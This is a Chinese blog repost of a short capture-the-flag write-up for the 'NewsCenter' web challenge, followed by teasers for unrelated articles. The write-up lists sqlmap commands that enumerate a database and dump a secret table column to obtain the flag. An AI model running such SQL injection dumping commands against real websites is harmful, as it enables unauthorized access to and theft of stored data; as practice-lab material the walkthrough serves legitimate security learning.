攻防世界-WEB-NewsCenter

打开环境

有查询，猜测是sql注入

保存请求头到文件中

准备利用sqlmap

查找数据库

python sqlmap.py -r ./123.txt --dbs

查找表

python sqlmap.py -r ./123.txt --tables -D news

查找字段

python sqlmap.py -r ./123.txt --column -D news -T secret_table

显示字段信息

python sqlmap.py -r ./123.txt --dump -D news -T secret_table -C fl4g

得到flag

QCTF{sq1_inJec7ion_ezzz

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/124948.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Spring整合tomcat的WebSocket详细逻辑（图解）

Spring整合tomcat的WebSocket详细逻辑（图解）

主要解决存在的疑问 为什么存在2种spring整合websocket的方式，一种是使用ServerEndpoint注解的方式，一种是使用EnableWebSocket注解的方式，这2种有什么区别和联系？可以共存吗？它们实现的原理是什么？它们的各…
阅读更多...
华为数通方向HCIP-DataCom H12-821题库(单选题：321-340）

华为数通方向HCIP-DataCom H12-821题库(单选题：321-340）

第321题 BGP的Open报文是用于建立对等体连接的，以下哪一项不属于Open报文中携带的参数信息? A、发送者的Router ID B、AS号 C、BGP版本号 D、TCP端口号 答案：D 解析：以下是BGP的Open报文： 第322题 在建立BGP对等体的过程中,OpenSent状态表明BGP等待的Open报文 并对收…
阅读更多...
【Java基础篇 | 面向对象】—— 封装详解

【Java基础篇 | 面向对象】—— 封装详解

个人主页：兜里有颗棉花糖 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创 收录于专栏【JavaSE_primary】 本专栏旨在分享学习Java的一点学习心得，欢迎大家在评论区讨论💌 目录 一、封装1.1什么是封装…
阅读更多...
thinkphp6 入门（4）--数据库操作 增删改查

thinkphp6 入门（4）--数据库操作 增删改查

一、设计数据库表 比如我新建了一个数据库表，名为test 二、配置数据库连接信息 本地测试 直接在.env中修改，不用去config/database.php中修改 正式环境 三、增删改查 引入Db库 use think\facade\Db; 假设新增的控制器路径为 app\test\control…
阅读更多...
【操作系统】聊聊Linux内存工作机制

【操作系统】聊聊Linux内存工作机制

内存主要是用来存储系统和应用程序的指令、数据、缓存等 内存映射 内存是需要安全机制保护的，所以只有内核才可以直接访问物理内存。进程如果要访问内存需要通过独立的虚拟地址空间。 虚拟地址空间其实包含两部分。一部分是内核空间，另一部分就是用户…
阅读更多...
[C++网络协议] I/O复用

[C++网络协议] I/O复用

具有代表性的并发服务器端实现模型和方法： 多进程服务器：通过创建多个进程提供服务。 多路复用服务器：通过捆绑并统一管理I/O对象提供服务。✔ 多线程服务器：通过生成与客户端等量的线程提供服务。 目录 1. I/O复用 2. select函…
阅读更多...
BMS电池管理系统——什么是BMS（一）

BMS电池管理系统——什么是BMS（一）

BMS电池管理系统 文章目录 BMS电池管理系统前言一、BMS是什么？二、BMS的主要功能模块1.采样及测量功能2.状态估计及预测功能3.控制及管理功能4.通讯和诊断功能 总结 前言 作为一名电气专业的学生，大学里学了很多嵌入式相关的知识，首先要明确…
阅读更多...
Java版工程行业管理系统源码-专业的工程管理软件- 工程项目各模块及其功能点清单

Java版工程行业管理系统源码-专业的工程管理软件- 工程项目各模块及其功能点清单

Java版工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离 功能清单如下： 首页 工作台：待办工作、消息通知、预警信息，点击可进入相应的列表 项目进度图表：选择（总体或单个）项目显示…
阅读更多...
【前端】CSS-Grid网格布局

【前端】CSS-Grid网格布局

目录 一、grid布局是什么二、grid布局的属性三、容器属性1、display①、语句②、属性值 2、grid-template-columns属性、grid-template-rows属性①、定义②、属性值1）、固定的列宽和行高2）、repeat()函数3）、auto-fill关键字4）、f…
阅读更多...
QT实现任意阶贝塞尔曲线绘制

QT实现任意阶贝塞尔曲线绘制

bezier曲线在编程中的难点在于求取曲线的系数，如果系数确定了那么就可以用微小的直线段画出曲线。bezier曲线的系数也就是bernstein系数，此系数的性质可以自行百度，我们在这里是利用bernstein系数的递推性质求取： 简单举例 两个…
阅读更多...
伪微分反馈控制(Pesudo-Drivative Feedback Control——PDF)

伪微分反馈控制(Pesudo-Drivative Feedback Control——PDF)

运动控制-单轴伺服控制带宽分析（二） - 知乎 (zhihu.com) 伪微分反馈控制_百度百科 (baidu.com) 伺服电机控制器的参数整定_老马过河hhh的博客-CSDN博客 伪微分PIIP控制_yukee10的博客-CSDN博客
阅读更多...
【Linux成长史】Linux基本指令大全

【Linux成长史】Linux基本指令大全

🎬 博客主页：博主链接 🎥 本文由 M malloc 原创，首发于 CSDN🙉 🎄 学习专栏推荐：LeetCode刷题集 数据库专栏 初阶数据结构 🏅 欢迎点赞 👍 收藏 ⭐留言 📝 如…
阅读更多...
如何配置远程访问以在外部网络中使用公司内部的OA办公系统——“cpolar内网穿透”

如何配置远程访问以在外部网络中使用公司内部的OA办公系统——“cpolar内网穿透”

文章目录 前言1. 确认在内网下能够使用IP端口号登录OA办公系统2. 安装cpolar内网穿透3. 创建隧道映射内网OA系统服务端口4. 实现外网访问公司内网OA系统总结 前言 现在大部分公司都会在公司内网搭建使用自己的办公管理系统，如OA、ERP、金蝶等，员工只需要…
阅读更多...
Excel周报制作

Excel周报制作

Excel周报制作 文章目录 Excel周报制作一、理解数据二、数据透视表三、常用函数1.sum-求和2.sumif-单条件求和3.sumifs-多条件求和4.sum和subtotal的区别5.if函数6.if嵌套7.vlookup函数和数据透视表聚合8.index和match函数 四、周报开发五、报表总览 一、理解数据 这是一个线上…
阅读更多...
在linux上挂载windows共享目录

在linux上挂载windows共享目录

挂载要求 非root用户（普通用户）能够读写windows共享目录，比如查看文件、创建文件、修改文件、删除文件 # 让普通用户也可以正常读写 uidvalue and gidvalue Set the owner and group of the root of the file system (default: uidgid0, bu…
阅读更多...
Kafka的文件存储与稀疏索引机制

Kafka的文件存储与稀疏索引机制

![在这里插入图片描述](https://img-blog.csdnimg.cn/dde7fc866d214985baaa87300a472578.png)这些是存储在分区(分区才是实际的存储)文件中的. seg是逻辑概念 而实际由log存储的. index是偏移量索引而timeindex是时间戳索引 log就是seg 找数据就是先找log 再从log去找
阅读更多...
YOLOV7改进-添加P2和P6检测层(以YOLOV7-Tiny为例)

YOLOV7改进-添加P2和P6检测层(以YOLOV7-Tiny为例)

下载三个配置文件地址 1、加p6 1、配置文件添加 2、让它自己利用k-means算法进行聚类 3、如果从8或9出来，在这里改 完整
阅读更多...
java和js实现MD5加密

java和js实现MD5加密

java import java.security.MessageDigest;public class Demo2 {public static void main(String[] args) {Demo2 demo2 new Demo2();String encry demo2.md5("admin");System.out.println("加密后：" encry);}/*** md5加密*/private static…
阅读更多...
webrtc 的Bundle group 和RTCP-MUX

webrtc 的Bundle group 和RTCP-MUX

1，最近调试程序的时候发现抱一个错误 max-bundle configured but session description has no BUNDLE group 最后发现是一个参数设置错误 config.bundle_policy webrtc::PeerConnectionInterface::BundlePolicy::kBundlePolicyMaxBundle; 2，rtcp-mu…
阅读更多...
Scrum工作模式及Scrum工具

Scrum工作模式及Scrum工具

Scrum工作模式是一种敏捷软件开发方法，其核心是团队合作和自我组织，旨在通过短周期的迭代开发，实现快速反馈和持续改进。 Scrum工作模式包括以下角色和活动： 1、产品负责人（Product Owner）：负…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023